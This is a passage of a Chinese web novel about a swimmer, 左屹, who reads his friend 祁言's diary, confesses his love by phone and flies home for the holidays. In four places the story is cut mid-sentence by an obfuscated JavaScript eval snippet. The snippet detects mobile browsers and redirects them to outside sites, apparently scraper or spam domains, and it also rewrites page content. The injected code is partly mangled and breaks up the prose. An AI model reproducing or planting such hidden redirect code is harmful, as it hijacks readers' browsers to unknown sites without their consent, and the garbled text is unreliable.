不习惯。 高一没有晚自习,去接小屹放学了,还买了学校门口的炸鸡排,小屹喜欢吃番茄酱,特意要老板多加了些。 他今天看上去好像心情不好,没怎么跟我说话。 小屹,你一定要考上一高,我等你。 2019年11月11日 光棍节,名字很好笑的节日。 小屹今天说不想做光棍,不想过光棍节。 其实我很想问他,以后找对象可以考虑一下我吗? 不敢问,怕他觉得我是变态。 2020年7月3日 小屹考上一高了,体育特招。 他很棒,我等到了。 2021年3月18日 小屹训练强度越来越大了,今天见到他无精打采的,我有点后悔了…… 他是不是很累?心疼。 2021年7月13日 不知道是不是我的错觉,小屹这些天一直在躲着我。 难道是我惹他生气了? 2022年7月1日 还是和我妈离开江城了,舍不得。 对不起,小屹。 2022年7月15日 你集训回来发现我不见了会不会难过? 可是我不得不这么做…… 在母亲眼里,我变成了一个爱上同性的疯子,可我不是疯子。 心理医生说我还年轻,不懂什么是爱,说我要不了多久就会把对你的感情忘得一干二净。 是他不懂,我爱了你七年,爱意早刻进了骨头里。 不会忘记的,死了也不会。 你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15263890|165086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会来京西找我的,我会赌赢的对吗?小屹。 对不起。 2022年7月30日 每天都会想你无数次,我的星星我还能等到你来京西吗? 对不起,小屹。 2022年8月6日 还是忍不住和笑笑联系了,问了你最近的状况,她说你要比赛了。 我会来看的。 偷偷的,不被你发现。 对不起,小屹。 2022年10月3日 7分53秒33,为你感到骄傲,我的鲨鱼宝宝。 对不起,小屹。 2022年12月31日 终于又看见你了,你看上去状态很不好,多笑笑好吗?喜欢看你笑。 对了,新年快乐,小屹。 还有,对不起。 2023年1月27日 妈妈确诊癌症晚期了,一定是被那个男人和我…气病的。 我太自私了。 可是我还是爱你,我很想你,我的星星。 对不起,小屹。 - 看到这里,左屹早已泣不成声。 他拿起日记本,从本子里滑落了一堆票根。 左屹蹲下一张一张拾起,动车票根足有二十多张。 他拿起票根一看,上面的时间全是2022年到2023年间,京西回江城的动车来往票根,还有掺杂着几张游泳比赛时主办方赠给参赛者的家属票。 祁言一年里竟然回了江城十多次,并且他的每场比赛祁言都在现场观赛,而自己从来没有发现过。 原来,祁言的星星是自己? 左屹想到那日去京西大接祁言下课时,他脱口而出说自己的成绩提升了三秒,其实祁言早就漏了破绽,只是自己太蠢,困在自己的世界里迷失了真相,一直误会祁言喜欢的另有他人。 可转念一想,他们之间哪有别人? 和祁言住在一起的是自己、一起打工的是自己、他亲吻的是自己、和混混打架时祁言保护的是自己、他们吃喝拉撒都在一起,他哪里有时间去喜欢别人!! 祁言喜欢的从头到尾都是一个人。 只有你,左屹。 难怪跨年夜他骂你笨蛋,你可不就是个超级大笨蛋!! 左屹后悔得不得了。 他后知后觉意会到,跨年那夜祁言的暗示其实已经很明显了,如果自己不胡思乱想,而是听他解释完,他们是不是就可以在一起了? 可偏偏因为自己想太多,还说了那么些没良心的狠话逼得祁言去了国外。 眼泪决堤,打湿了票根。 左屹小心翼翼地擦掉了票根上的泪水,他将票根和日记本一一擦拭了一遍,然后放回到抽屉里。 剩下的秘密,他要和祁言一起来探索。 左屹抽泣着和祁言拨去电话,“对不起,您所拨打的电话已关机……” “操!不是已经回来了吗?为什么还是关机!!” 左屹时隔一周再次点开和祁言的对话框,内容还停留在他说要清行李搬走。 左屹两眼一黑,如果换作自己是祁言,也会被气死的程度。 “陈姨,我太笨了,惹言哥生气了,怎么办?” 左屹离开前和陈馨说了好多话,日记里面的每一个字都阅读起来都像是在嚼咽钉子,扎得浑身都疼。 39.暗流涌动 左屹没有回学校,而是去了剧组找丁文笑。 时至今日,他才知道所有人都看得比他明白,祁言的事连丁文笑都比他知道得要多。 游泳比赛的家属票除了老宋和老左的,他只给过丁文笑。 比赛的时间,地点,也可能是丁文笑偷偷里告诉祁言的。 丁文笑见到左屹时吓了一跳,早上分别时还好好的,下午再看他,眼睛红肿,声音嘶哑,跟丢了魂似的。 “看到了?”丁文笑候场的时候走到左屹身边坐下。 左屹垂头丧气地说:“嗯,我联系不上言哥,笑姐你帮帮我吧。” 丁文笑披着厚重的毛毯,窝在椅子上缩成一团,“你都联系不上,我怎么可能?” “他搬走以后,你们不是一直在联系吗?我都知道了。” “额,呵呵……”丁文笑尬笑两声,“我不是故意要瞒你的,言哥当时再三叮嘱不让我跟你说,其实我当时也不理解来着。” 左屹叹气道:“我不怪你,是我太笨了,什么都发现不了。” “本来我不该掺和你们感情的事,但是我有点看不下去了,祁言他一言不合说出国就出国,你又成天这副鬼样子,不是年后有大泳赛吗,你这样子怎么比赛?”丁文笑跟着叹了口气,“我知道言哥喜欢你的时候也挺惊讶的,后来想想小时候在院里他对你就是不一样的。其实你也很喜欢他,对吧?” “喜欢。”左屹斩钉截铁地回答:“不对,说喜欢不够,应该说我爱他。” 丁文笑起了一身鸡皮疙瘩,她故意晃了晃脑袋说道:“行了行了,别还没谈就秀上了。” 左屹垂下眼帘,看似黯然神伤的模样,“怎么谈啊,人都被我气到不理我了怎么谈?” “那你就等着他回来解开误会不就行了,人还能跑了?”丁文笑说道。 左屹急了:“现在不就是跑了吗?” “跑得了和尚跑得了庙吗?”丁文笑敲了左屹脑袋一下,“我说你这脑子咋就这么钝呢?你跟他表过白吗你?” 左屹摇头,“还没有。” 丁文笑也摇头,“那我问你,你跟他联系上了打算说啥?” “……没想好。” “我猜你会说,”丁文笑粗着嗓子模仿左屹说话的神情:“言哥,我不小心偷看了你的日记,原来你喜欢的是我呀?” 左屹的眉毛抽了抽,我平时说话有这么蠢吗? “可能吧。” 丁文笑头仰着天,想喊救命:“还可能吧?你这个榆木脑袋我恨不得给锤瘪咯。我发誓你这么说了,他会更生气。” “为什么?” “人家喜欢了你这么久,好不容易守得雾开见月明了,却等来你的一句原来你喜欢我啊,有够阴阳怪气的。” “啊……” “啊个屁呀啊,你自己回去好好想想吧,我去准备拍下一场了。” 左屹确实吃丁文笑这套激将法,经过一番思想斗争,终于鼓起勇气再次点开祁言的消息对话框。 [Zorro:言哥,是我太不懂事了,说了很多不中听的话也做了些不理智的举动伤害了你,我跟你道歉,对不起。] [Zorro:我这几天好好反思过了。] [Zorro:你别不理我嘛!] [Zorro:我还有些话想对你说,是很重要的话要当面和你讲。] [Zorro:我知道你回京西了。] [Zorro:这次换我等你,好不好?] [Zorro:盼回复。] 而此刻,祁言正于万米高空的飞机上,前往香港转机回珀斯。 祁言是跟周教授请了两天假回来祭拜母亲的,回的匆忙,离开也匆忙,京西没有直达珀斯的航班,必须得转机,到达珀斯大概得一整天的时间。 澳洲这场汇聚全球顶尖学者的国际天文交流会上,国外科研团队在会上分享了利用最先进射电望远镜、空间探测器等设备探测到的外太空最新数据,这些数据仍处于分析解算阶段,初步迹象显示,这些数据所证论的结果极有可能会是一个里程碑式的发现。 由于研究难度超乎想象,所以发现者选择将数据在这场会议上公开,来自各国的天文学专家汇聚到此,热烈讨论、推演计算。 祁言每天忙得不可开交,基本在国际讨论会结束之后他还会单独和周教授还有俞辰星继续日以继夜地开小会。 第二日早晨,祁言落地珀斯国际机场,他将手机开了机,微信消息疯狂弹出,全部是左屹发来的。 [Zorro:这次换我等你,好不好?] 祁言眼皮猛地一跳,这句话是什么意思? 提前约好的出租车到了,祁言上车到酒店和教授汇合,车上他犹豫了一会,还是回了消息过去。 [1:?] 可是直到他下车,都没等到左屹的回复。 珀斯和京西都属东八区,没有时差,九点半这个时间左屹应当在训练了,祁言带着疑惑赶回酒店会议室和教授他们开会。 - 左屹最近400米自的成绩又提升了2秒,黄教授高兴得紧没再为难他,离大泳赛的初赛还有两个多月,他已经成功报上了1500米自的项目,400米混合接力名额待定,而康辰则报了100米自,同样也是400米混合接力名额待定。 康辰有一段时间没参加校队的训练,他跟黄教练申请了校外训练,左屹刚从更衣室换完衣服出来便撞见康辰。 他觉得有够晦气的,二话不说绕开就走。 这还是继两人打架之后第一次见面,康辰却像被夺舍了般,看见左屹笑脸相迎,嘴都合不拢,还冲上去给了左屹一个结实地拥抱。 康辰拍了拍左屹的后背:“兄弟,和敬敬闹分手那次是挺不体面的哈?” 左屹觉得他不怀好意,不愿意多搭理,推开康辰的双臂便加快了脚上的步伐,点头“嗯”了一声。 “左屹!”康辰叫住他。 左屹停下来,然后烦躁地抓了把头发,“你到底要干什么?” 刚刚在更衣间时,左屹便看了祁言回复的消息,他正赶着出训练馆和祁言回电话,他有一肚子话相对祁言说,没有心思和这个人渣周旋。 “我看你也报了400混合接力,你有没有听到风声,说我和你只能上一个?”康辰跟在左屹身边。 左屹深叹一口气,强忍着烦躁不屑道:“不好意思,我没听见什么风声雨声,接力赛只有可能我上,你怕是没有机会。” 左屹早就听黄教练说过,他会在自己和康辰两人中选出一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15271871|165086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个人上接力赛,其实混合接力上不上都无所谓,但是缺失的这一棒恰巧是蝶泳,这是他唯一没有上过赛道的泳姿,左屹对蝶泳成绩很不自信。 黄教练是想利用比赛的紧张压迫感调动一下左屹的短板,唤醒灰鲭鲨在深海里作为顶级掠食者之一的霸主风范。 不试一试怎么知道他蝶泳的极限成绩在哪里? 康辰本来想说服左屹自己退出混合接力赛,结果计划落空,于是气急败坏地骂道:“左屹,你他妈真无耻啊,你自己蝶泳游成啥样了不知道?还参加个毛的混合接力。” 左屹抬腿就走,他懒得和这个傻逼沟通,傻逼会传染。 出了训练馆,左屹迫不及待地从包里捞出手机,立马和祁言拨微信电话过去。 一首歌的副歌都快唱完了,电话才被缓缓接起。 左屹欣喜若狂,兴奋地朝着手机收收音的地方喊了声:“祁言,你终于理我了。”说完他觉得有点委屈。 这次祁言是下狠心看他点颜色看看了,半个多月过去了就回了个这 [?] “哈喽,你找言哥吗?” 言哥? 言哥? 言哥? 请问你是哪位?谁允许你这样称呼他了? 左屹咬牙,手机里传来的陌生的声音打断了他沉浸的思绪。 左屹支支吾吾地问:“你是谁?” 俞辰星解释:“言哥去洗手间有一会了,我是俞辰星,他同学。请问有什么需要我帮您转告的吗?” 他去洗手间,要你转告什么,你是能进去观摩吗? 怎么会有人去洗手间不玩手机啊? 左屹想挂了电话,刚要开口拜拜,便听见祁言的冷淡的声音传进耳朵里:“俞辰星,谁让你碰我手机的?” “我是看你手机一直在响,挺吵的,就帮你接了一下。”俞辰星委屈道。 现在整个会议室只剩祁言和俞辰星,周教授和国外的天文学教授外出采风,祁言平时懒与同学社交,更不在意别人会如何看待他,于是面容略显不耐地质问道:“你有什么资格擅自接别人的电话?” 顿时,俞辰星被祁言怼得脸上青一块白一块的,他恼羞地提高了音量吼道:“祁言!我不就是帮你接了通不重要的电话,有必要说这种话刺激我吗?” 左屹一直在听他们那边的动静,祁言拿过电话看了一眼备注反问道:“不重要的电话?谁说的,这通电话对我来说比什么都重要。” 他瞥了一眼俞辰星,然后擦过他的肩膀走出会议室。 左屹咬了咬嘴唇,尽量不让自己出声,可是祁言刚刚那句话太有深意。 “很重要的电话……” 操啊!好霸道!好喜欢啊!!爱的魔力转圈圈了!!左屹在心底尖叫。 “什么事?” 祁言温润的嗓音传来,左屹一个哆嗦,这声音太蛊惑了。 左屹搂紧外套,迎着冷风说:“你肯理我了。” “这次换我等你,好不好?”祁言问道:“麻烦你简单说一下这句话我应该如何解读?” “……” 左屹一时无语,这要他怎么解释? 总不能说我偷看了你的日记,知道你一直在等我。 日记的事还是得等他回来再当面道歉了。 40.等我回来 “祁言,你什么时候回来?” “祁言?”他重复,又笑了声问左屹:“现在连声哥都不愿意叫了?” 左屹顿了顿,“对不起,是我反应太迟钝了。” 祁言微微一愣:“什么?” 左屹不知不觉绕到小树林里,手指无意识地摩挲着树干上的纹路,小声地说:“有些话我想当面和你讲,还没说你什么时候回来呢。” 祁言的呼吸粗重了些,他解开衬衣领口最上面的一颗扣子,“小屹,有些事我等很久了。” “我……” “嗯?” 行吧,我不会再让你等了。 左屹牙一咬豁出去了,他移开手机,偏过头做了一个深呼吸,然后又将手机贴到耳边,“祁言,那天我说回到正轨,其实我也不清楚那条所谓的正轨到底是什么,但我想去的那条一定是要有你在的。” “我说过很多很多违心的话,我说不是为了你来京西的,其实我就是为了你来的,不管你去哪我就会找到哪。还有舍友和我表白被你撞见之后,我说自己包直的,也不是,我对女生才不敢兴趣,所以算是纯弯。小长假搬去你家的第一晚,半夜你问我为什么醒了,我说尿憋的,其实是我梦到你了,然后那个了……还有很多很多,我的每一句违心话都是与你有关,可能我脑子压根就是一根筋,要么就是眼睛被鬼迷了所以看不清,我总怕自己的小尾巴被你发现,然后会惹你这个直男讨厌。祁言,以后我不会再叫你哥了,因为我没办法只做你弟弟。” 他忍着越来越浓重的呼吸,语无伦次,“我特么也不知道自己在说些什么鬼东西,反正后面的话才是重点,你准备好要听了吗?” 祁言胸腔里的小兔子快要蹦出来了,“嗯,你说。” 左屹又呼出一口气,朝手机收音口滔滔不绝说道:“祁言,小爷喜欢你,很喜欢很喜欢,是想和你谈恋爱的喜欢,是看见你就会心跳加速的喜欢,是有性冲动的那种喜欢,是想要把你绑在我身边一辈子的喜欢,总之,我喜欢你,喜欢得要命。” 担心他没听清,左屹又确认了一遍。“听明白了吗?” “嗯,听明白了。” 祁言心道,这句话我真的等了好久,今天终于等到了。 左屹总算松了一口气,深藏心底的秘密也终于钻出了名为暗恋的那道裂缝,他再也不用担心风会透进裂缝将他们吹散。 这次,是他亲手将风送到远在澳洲的祁言面前,他们在不同的国度享受了同一阵令人心神荡漾的春风。 左屹突然想到,他将自己暗恋的秘密告诉过陈姨这事,是不是也可以说给祁言听了。 过会他又说道:“还有件事我想跟你说。” “什么?”祁言问。 左屹含含糊糊地不好意思道:“其实我曾经和陈姨说过我喜欢你,还得到陈姨的允许了。” 祁言略微有些惊讶,他不知道左屹和陈馨之间还有这样的秘密,更不知道她竟然会同意,毕竟陈馨在自己面前表现出来的,只有带他看遍了心理医生都毫无作用的妥协。 祁言突然笑了一声,心里再也没有阴霾。 “谢谢你,小屹,等我回来好吗?” “嗯,我会等你回来的。” 左屹的手机被这通国际语音打到关机没电,左屹骑着小蓝车往公寓赶去,一回到家里便匆匆忙忙将手机连上充电器。 他脱掉新买的体校羽绒服,快速冲去浴室洗了澡,带着祁言身上的木质清香味道呈大字“扑通”地趴到他和祁言的大床上。 “啊啊啊啊啊啊……操操操,小爷表白啦!啊啊啊啊啊!”左屹的脸埋到祁言的枕头里放声尖叫,仔细闻还能闻到独属祁言的味道,左屹尖叫完又抱着枕头猛吸一大口,有些缺氧了,他才翻身拍平躺到床上。 他思忖着和祁言关系的一路变化,突然想到去年十月份刚搬进公寓的时候,祁言说次卧的床被他给处理掉了,所以不得不跟他睡主卧…… 再往前想想,刚加上微信时,祁言问他放假宿舍是不是还有人不回家,后面他回复“嗯”、“哦”的消息原来是在钓他这条鱼呢! 傻鱼还什么都不知道,高高兴兴地往鱼钩上咬,把自己给送进狼窝里了。 同床共枕这么久,看来差点憋坏的可不止自己…… 活该~ 想着想着,左屹不自觉睡着了,等再醒来的时候紫色夜幕已经渐渐压下来。 家里供暖太足,烘得人口干舌燥。 左屹睡眼惺忪,掀开被子下床,赤着脚去厨房猛灌了一杯凉白开,余光瞥见沙发上屏幕一闪一闪的手机,他小跑过去拿起一看,有好几通陌生号码的未接来电。 回拨过去,是一个带着浓重方言口音的大哥接的:“哎哟,你终于接电话了,我都差点儿报警了。” “……??”左屹一头雾水:“不好意思,手机静音了,请问您是?” “手机静音了,我搁你家门口敲了快半小时门也听不见啊?我后面的单都超时了!”大哥多有抱怨地说道。 左屹紧张起来,盯着门口问道:“大哥,你敲我家门干嘛?” “能干啥?我跟你送外卖啊。” 左屹紧惕地问,“我点的外卖?” 我什么时候点外卖了?现在骗子的手段越发高明了,都骗到家门口来了。 东北大哥气喘吁吁地问:“你是叫左屹不是?” 左屹不回答,他不能随意暴露自己的个人信息。 “你这人到底啥情况啊,搞得神神秘秘的,你等哥五分钟,我折回来先送你这单。” 不等左屹回答,对方直接挂了电话,客厅没开灯整个黑沉沉的,他后脖颈不禁升起一抹凉意。 骗子竟然敢上门,他倒是要弄清楚对方到底是什么目的。 左屹去厨房抄了个称手的武器,以防万一。 五分钟后,门口果然响起敲门声。 “死骗子还真敢来!”左屹举着武器怒气冲冲地将门打开。 可开门的一瞬间 ,左屹当场石化了…… 骗子的人影没看到,抱着一捧大玫瑰的外卖员倒是真有一个。 “你就左屹是吧?” “额,我是……”左屹点了点头老实回答。 那外卖大哥也是个实诚人,他清了清嗓将玫瑰花束向前一递,大声说道:“左屹,请原谅我迟来的表白,我也很喜欢很喜欢你,希望你收到这束花会开心。” 隔壁邻居是个年轻女生,下班回家刚好撞见这一幕,左屹和她对上视线,对方也向他投来一个不理解但尊重的眼神,然后快速开门进了屋。 “哐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15276902|165086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当!”一声巨响,是左屹手里一直提着的铁锅砸到地上。 “哎呀我滴妈。”外卖大哥吓得往后跳了半步,玫瑰花束太大,遮挡了外卖大哥的部分视线,听到声音才看到地上躺着一口铁锅,小声嘀咕道:“这孩子得饿了有几天了吧,咋还带着锅接外卖哩。” 左屹的眼皮抽了抽,“呵呵,要不是说呢……” “快快快,赶紧把花抱着。”那热心肠的外卖大哥将花塞到他的怀里。 连带着左屹都有些手忙脚乱的。 “还有一份外卖也是你的,快拿回去吃吧,别给饿坏咯。”外卖大哥又递上了一大袋食物保温袋给他。 临走前还不忘提醒左屹给他一个五星好评。 左屹看着茶几上那束包装精致的玫瑰花和京西一家知名米其林餐厅的中餐外卖陷入沉思。 他唯一能想到的始作俑者便是远在澳洲珀斯的祁言同志,可转念一想,祁言哪能干出让外卖大哥代替他表白这么抽象的事。 冥思苦想间,祁言的跨洋视频打来了。 左屹整理了一下头发,又特意解开领口最上面的两颗扣子才将摄像头对向自己接通:“嗨~祁言。” 撞入祁言眼帘的不是左屹的如沐春风的笑容,而是他若隐若现的锁骨,祁言喉结滚滚也松了松领带问道:“收到花了吗?” 左屹脸猛地垮下来,整张脸都皱成一团,“真是你订的玫瑰花?” “怎么了?花不好看吗?”祁言没想到送花给小屹会是这个效果,他好像不太喜欢。 “不是,花好看的,就是…”左屹欲言又止。 “嗯?” “就是仪式感太强,我有点接受不了。”左屹瘪着嘴,脑子里又出现了外卖大哥大喊我喜欢你的场面,还有隔壁小姑娘的眼神儿。 祁言不明白,于是追问道:“什么仪式感?” 还装傻? 左屹:“不是你让外卖大哥捧着花跟我大声表白吗?说什么,迟来的表白我也喜欢你,希望你开心吧啦吧啦的,还被隔壁小姑娘看个正着,多尴尬啊。” “……我没有。”祁言否认。 左屹不信:“不是你授意,人家自己会这么干吗?” “你稍等一下。” 左屹见他那边视频卡着不动了,“干嘛去了?” 祁言点开外卖app查看订单,左屹刚刚说的那几句话确实是他备注过的来着,但他的意思是拜托店家写在花束的贺卡上,并不是让外卖员读出来才对。 检查过后,祁言发现确实闹了个乌龙,下午订花的时候周教授他们采风回来便召开了紧急会议,他匆忙间将贺卡备注写到外卖app上,这才导致被骑手误会了。 祁言舒了口气,回到视频界面:“抱歉,小屹。确实是是我这边弄错让你尴尬了。” 左屹噗嗤笑出声来。 “你刚检查订单去啦?” 祁言点头,“嗯。” 左屹细细欣赏起视频中的可人儿,黑领带松松垮垮地套在他修长白净的脖子上,白色衬衣纽扣一丝不苟地扣到最上面一颗,凌乱和整洁的冲撞为祁言的温柔增添了一丝禁欲感,左屹鲜少看见如此模样的他。 左屹舔了舔干涸的嘴唇,将口水吞咽下,喉咙干哑地问:“祁言,你到底还有多久回来?” 41.未知浪漫 祁言具体的归期不定,只说了一个月左右。 左屹对祁言的相思,就像是生于南国的红豆沾了春水,一发不可收拾。 越往后越难忍寂寞,两人每天忙完不论多晚都要打着视频聊到睡着,好几次清晨左屹醒来时,两人的视频一直没挂断,祁言的睡脸就在对面,看得着摸不着,搅得他心里痒得紧又只能憋着那股青春躁动的火。 校队又组织了一场左屹和康辰的200m蝶泳比赛,胜出者便可参加大泳赛400m混合接力赛的最后一个位置。 蝶泳是康辰的长项,却是左屹的短板。 可两人比赛当日,左屹状态出奇的好,最后竟以拉开2秒之差胜于康辰,顺利拿到接力赛位置。 直到临近过年前,左屹全身心投入到大泳赛的冬训当中,祁言那边也进入了证论白热化,两人在各自的领域努力着。 京体的学生几乎都已经放寒假回家了,连黄教练都给左屹放了春节假,让他早点回江城和父母团聚。 丁文笑小年杀青,左屹和她约好了杀青后一起回江城。 左屹期盼着祁言能赶回京西,和他们一起回江城过年,可眼见日子离小年越来越近,祁言都没有要回京西的意思,不由得情绪失落。 小年当天。 “言哥今年过年还回来吗?”丁文笑踩着高跟鞋健步如飞地和左屹赶飞机。 左屹推着他们两人的大行李箱,走得还没丁文笑快。 “应该回不来。” 丁文笑找到打登机牌的自助机,从包里掏出他们两人的身份证,在机器屏幕上一通点:“话说,你们俩现在什么情况,谈了?” 左屹在手机上查登机口,敷衍道:“没谈。” “白都表了,你们俩再不谈我就要报警了。”丁文笑打完登机牌,拉着左屹在机场狂奔。 “啊?” 左屹只感受到一阵带着茉莉花香的风扯着他一路过五关斩六将,在机场已经播报他们的名字第三遍的时候,终于成功登机。 “妈耶,累死我了。”丁文笑靠着椅子大喘着气,周围不少乘客都在往他们这边看。 “笑姐,您这是真有功夫在身上,明知道要赶飞机,穿什么高跟鞋?”左屹也喘着气,他从小就知道这姐做事虎里虎气又生猛,没想到长大更行了。 丁文笑白着一张脸,上气不接下气地扯过左屹的领子小声说:“你懂个屁,姐姐现在也算是半个明星了,机场Look必须拿捏啊。” 左屹不懂机场路不路克,只觉得她就是放着舒服不要找罪受。 “笑姐,你刚带着我飞之前说什么报不报警的,什么意思啊?”左屹问道。 丁文笑向空少要了两杯水,然后递给左屹:“报警抓你啊 ,你们俩都打明牌了还不打算在一起,耍流氓呢?” 这问题真给他问到了,他是表白了没错,但暂时还没考虑去改变两个人的关系。 祁言那边也没提过这事,他们便心照不宣的维持着现状,和以前的状态比他们似乎更黏腻了一些,经常会在电话里互相表达对彼此的想念,祁言也偶尔会跟他订束花,点个外卖,买点小玩意送到家里,这一个月下来相处得挺不错的。 “笑姐,你说我们要是谈了,万一经常吵架把感情吵没了怎么办?其实我们现在这样也没什么不好的。”左屹迷茫地问道。 丁文笑盯着他看了好几眼,忍不住地说:“你这话我咋听着那么渣呢,合着你就想搞暧昧不想负责?” “不是啊,我没这个意思。”左屹赶紧否认,“我只是担心转变关系之后,我们会面临各种压力和困难,这些会在岁月里消磨掉我们的感情,最终走不远。” 万一他们谈恋爱之后经常发生争吵,或是受到阻拦或困扰导致分手,那他们就再也回不到最初的关系。 可如果保持现在的关系,起码能确保一直都在。 谁也不敢保证转变关系之后的发展会是什么样子。 “不是我说,就算你不相信自己,难道还不能相信祁言?日记你看过了,他喜欢你多久不需要我再强调,可作为当事人是不是应该对你们的感情有点把握?”丁文笑摇了摇头,“你拿出比赛那股劲去看待感情这事,会发现不一样的色彩。” 见左屹皱着眉思忖的神情,丁文笑又说:“在我们生长的这片土地,爱情虽不分三六九等,却难逃世俗的约束,你和祁言的感情既然已经越过了世俗这条界限,为什么不更加勇敢一些去迎接未知的挑战,你敢保证每一场游泳比赛都发挥稳定吗?” 左屹摇了摇头。 “那你是不是会为了突破成绩而去全力以赴。” 左屹又点了点头。 “那就对了,爱情也是。每一段感情的开始,没有人能看到爱情这条路可以走多远。即便未来的事我们无法预料,可是我们有能力为此全力以赴不是吗?遇到问题你们一起面对它、克服它、战胜它,困难就变得不再那么困难。但基于这些的前提,是你们对彼此的决心。” “我好像懂了。” 左屹偏头看了眼丁文笑,他不禁觉得当初那个含着棒棒糖跟在他身后成天鬼混的小女孩已经长大了,很多事情都是被她点醒的,丁文笑看事情比自己通透,也比自己更勇敢。 她孑然一身闯进娱乐圈,潇潇洒洒。 很多情况下,丁文笑亦师亦友般给他开导,将他从黑暗带往一条灯火通明的康庄大道。 飞机经过漫长的滑行后冲上天际,穿过云层。强烈的失重感令左屹心头一悬,舷窗外的世界从混沌瞬间变得通透明亮,阳光从云隙穿透,带给他一阵拨开云雾的清醒,仿佛正驶向宇宙的无尽深处,奔赴一场未知的浪漫。 经过两个小时的飞行,左屹决定等祁言回来后便认真聊聊两人关系的事。 飞机抵达江城机场时,坐在丁文笑旁边靠窗一直睡觉的小哥扯下了眼罩。 丁文笑被他摘眼罩的胳膊肘撞了一下下巴,痛得“嘶”了一声。 “不好意思,没注意。”小哥似乎性格高冷,连道歉的语气都十分冷硬没有起伏。 人家确实不是故意的,丁文笑也不好说什么。 但猛然一看这男生帅气的脸有点眼熟,却记不起在哪里见到过。 左屹注意到他们这边,解安全扣的时候小声关心问了下情况,见丁文笑没说什么,拉了她一把准备一起离开机舱。 没想到那男生竟也拉住丁文笑的手腕,面无表情地问了句:“你不记得我了?” 左屹闻声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15287767|165086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也回头看了一眼,觉得面熟。 丁文笑抽回手,沉着脸说:“小哥哥,你这搭讪方式未免有点太冒昧了。” “搭讪?”那男生笑了,“丁文笑,你真认不出我了?” 左屹见情况不对,将丁文笑拉出座位护在身后,然后对男生说:“哥们儿,这里不适合聊天,要不出去再说?” 三个人出了机舱,往行李等候区的方向走。 一路上左屹和丁文笑就是没想起这男生到底是何方神圣。 男生也不着急,跟着他们走到行李区,先开口道:“沈南寻,一高和祁言一届的。” 左屹终于想起来,沈南寻和祁言一样都是一高的风云学长,他们以前成天和祁言泡在一起,知道他这么号人,但没过多去了解,只记得他的成绩相当优越,上学时总戴着一副黑框眼镜。 “原来是南寻学长,眼镜一取我都认不出来了。”丁文笑语气不太好。 左屹拉了拉她,低声提醒:“你这态度可不太好啊。” 丁文笑闷哼了一声,不理他。 “原来你还记得我。”沈南寻亮出微信二维码道:“要不加个微信吧?” 丁文笑假装没听见。 左屹瞧着气氛尴尬,拿出自己的手机扫了一下他的二维码,“我加你了,学长。” “丁文笑你呢?”沈南寻的目光仿佛挂在丁文笑身上似的,一刻没挪开。 丁文笑却对他这个人却嗤之以鼻,“以前不要的,现在上杆子求,是在玩什么新型游戏吗?南寻学长。” “是啊,这个游戏你不好奇吗?”沈南寻一直保持着亮出二维码的动作。 行李已经拿到了,左屹盯着僵持的两个人,隐约觉得笑姐和他之间一定不简单,秉持做人留一线,日后好相见的原则,他凑到丁文笑耳边说:“要不先加上?大不了出了机场就拉黑。” 丁文笑也懒得和沈南寻耗时间,掏出手机加上了。 沈南寻笑着将手机放回口袋里,对他们说:“我送你们一程吧,今天小年挺难打车的。” "好啊,谢谢沈学长。"左屹也不客气,推着行李箱跟着沈南寻走了,丁文笑不情不愿地跟上。 车上,沈南寻开着车和左屹聊起天,丁文笑坐在后座刷视频,不想加入聊天。 “左屹是吗?我记得你的名字,高中你们和祁言天天在一起,所以对你们印象还比较深刻。” 左屹不好意思笑笑,“是啊!” 沈南寻突然说道:“要先说一下不好意思,刚刚在飞机上也听到了一些你们聊的,你和祁言?” 左屹愣住,然后戒备地看了沈南寻一眼。 丁文笑眼皮绷紧,冷声呛道:“装睡觉偷听别人聊隐私是很不礼貌的行为。” 沈南寻:“抱歉,我没别的意思,其实是想说我很赞同丁文笑在飞机上说的那番话,既然相爱了就大胆走下去,我很羡慕你们能自由地追求,无畏地相爱。” “?” 羡慕? 莫非…… 左屹又打量了一眼驾驶位的人,然后回头看了面无表情地丁文笑一眼。 